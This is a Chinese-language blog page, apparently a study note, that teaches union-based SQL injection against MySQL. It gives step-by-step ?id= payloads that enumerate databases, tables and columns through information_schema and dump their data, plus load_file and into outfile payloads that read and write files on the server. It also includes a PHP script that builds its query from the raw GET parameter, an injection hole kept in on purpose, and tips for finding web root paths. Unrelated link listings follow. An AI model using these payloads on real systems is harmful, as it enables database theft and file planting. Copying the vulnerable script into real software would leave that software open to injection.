sql注入--mysql
mysql数据库结构:
数据库A --> 表名 --> 列名 --> 数据
数据库B --> 表名 --> 列名 --> 数据
mysql数据库信息:
mysql 5.0以上自带数据库:information_schema
information_schema.schemata: 数据库下的schemata库名,含义:存储所有数据库下的库名信息的表。
information_schema.tables: 数据库下的tables表名,含义:存储所有数据库下的表名信息的表。
information_schema.columns: 数据库下的columns表名,含义:存储所有数据库下的列名信息的表。
database():数据库名
user():数据库用户
version():数据库版本
@@version_compile_os:操作系统
schema_name:库名
table_name:表名
column_name:列名
mysql注入过程:
(1) 判断注入点: ?id=1 and 1=1 ;? id=1 and 1=2
(2) 判断长度: ?id=1 order by 3
(3) 获取基本信息: @@version_compile_os , version() , database() , user()
(4) 获取库名: ?id=1 union select table_schema,2,3 from information_schema.schemata
(5) 获取表名: ?id=1 union select table_name,2,3 from information_schema.tables where table_schema = 库名[16进制]
(6) 获取列名: ?id=1 union select column_name,2,3 from information_schema.columns where table_schema = 库名[16进制]
and table_name = 表名[16进制]
(7) 获取数据: ?id=1 union select 列名[16进制],列名[16进制],3 from 表名[16进制]
mysql文件读写操作:
(1) 读取操作:
?id=1 union select load_file('d:/123.txt'),2,3
(2) 写入操作:
?id=1 union select '123',2,3 into outfile 'd:/123.txt'
注意: 路径问题:
使用"/"或者"\\" ; 原因[编程中"\"多半是转义]
编码问题:
数据中有单引号,将数据编码16进制即可
连接mysql数据库语句:
<?php
header("content-type:text/html;charset=utf8");
$id=$_GET['x'];
$conn=mysql_connect("127.0.0.1","root","root");
mysql_select_db("sql",$conn);
$sql = "select * from php where id=$id";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo "<br>"."编号".$row['id']."<br>";
echo "<br>"."用户".$row['user']."<br>";
echo "<br>"."密码".$row['password']."<br>";
}
mysql_close($conn);
echo "<br>"."当前执行的sql语句:".$sql;
?>
网站路径获取方法
(1) 遗留文件:
一般在网站根目录下,命名有php.php info.php phpinfo.php,test.php php_info.php等。

(2) 报错显示

(3)漏洞爆路径

(4) 读取搭建平台配置文件

(5)社工(字典猜解,谷歌黑客等)
D:/www/ ; D:/wwwroot/ ; D:/web/ 等

sql注入--mysql的更多相关文章
- SQL 注入~MySQL专题
Recently, 团队在做一个关于SQL的项目,这个专题是项目中的一部分,该部分正是由我来负责的.今天,分享给正在奋斗中的伙伴们,愿,你们在以后的学习道路中能有自己的收获. ...
- c# 登录 防止sql注入 mysql数据库
利用参数化 防止SQL注入 public string serachName(string name) { string result = ""; try { conn.Open( ...
- sql注入mysql注入
#跨库查询及应用思路 information_schema表特性,记录数据库名.表名.列名对应表 information_schema.schemata:存储所有数据库名 schema_name:数据 ...
- sql注入的基本防范手段
基本的sql注入防御手段,概括来讲就是权限控制和关键词过滤. 防御sql注入 ============================================================= ...
- web安全—sql注入漏洞
SQL注入-mysql注入 一.普通的mysql注入 MySQL注入不像注入access数据库那样,不需要猜.从mysql5.0以上的版本,出现一个虚拟的数据库,即:information_schem ...
- pymysql 解决 sql 注入问题
1. SQL 注入 SQL 注入是非常常见的一种网络攻击方式,主要是通过参数来让 mysql 执行 sql 语句时进行预期之外的操作. 即:因为传入的参数改变SQL的语义,变成了其他命令,从而操作了数 ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
- 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注
墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...
随机推荐
- 21.Module 的加载实现
Module 的加载实现 Module 的加载实现 上一章介绍了模块的语法,本章介绍如何在浏览器和 Node 之中加载 ES6 模块,以及实际开发中经常遇到的一些问题(比如循环加载). 浏览器加载 传 ...
- Docker基础-镜像操作
1.搜寻镜像 docker search [TERM] 可以搜索远程仓库中共享的镜像,默认搜索官方仓库的镜像. docker search参数: --automated=true|false :仅显示 ...
- C#经典面试题100道
. .NET和C#有什么区别 答:.NET一般指 .NET FrameWork框架,它是一种平台,一种技术. C#是一种编程语言,可以基于.NET平台的应用. .一列数的规则如下: ......... ...
- [C#]非阻塞监听键盘输入
摘要 最近需要调研监控用户键盘输入的内容,然后收集数据进行用户行为分析.然后就用控制台程序弄了一个demo. 代码如下 class Program { static void Main(string[ ...
- Java JDBC的基础知识(四)
之前学习了如何创建一个数据库工具类,如下: import java.sql.Connection; import java.sql.DriverManager; import java.sql.Res ...
- 在JAVA中封装JSONUtil工具类及使用
在JAVA中用json-lib-2.3-jdk15.jar包中提供了JSONObject和JSONArray基类,用于JSON的序列化和反序列化的操作.但是我们更习惯将其进一步封装,达到更好的重用. ...
- 撩课-Web大前端每天5道面试题-Day32
1.module.export.import是什么,有什么作用? module.export.import是ES6用来统一前端模块化方案的设计思路和实现方案. export.import的出现统一了前 ...
- 【JavaFx教程】第四部分:CSS 样式
第4部分主题 CSS样式表 添加应用程序图标 CSS样式表 在JavaFX中,你能使用层叠样式表修饰你的用户接口.这非常好!自定义Java应用界面从来不是件简单的事情. 在本教程中,我们将创建一个*D ...
- 设计模式原则(5)--Law of Demeter(LoD)--迪米特法则
作者QQ:1095737364 QQ群:123300273 欢迎加入! 1.定义: 一个软件实体应当尽可能少地与其他实体发生相互作用.也就是说:一个类对自己依赖的类知道的越少越好.也就是 ...
- mysql-学习笔记1
1.while循环的一个方便的用法是循环处理一个SQL查询结果中的数据行. 2.mysqli_fetch_array(),这个内置的PHP函数从一个数据库查询的结果中获取一个数据行,可以搭配while ...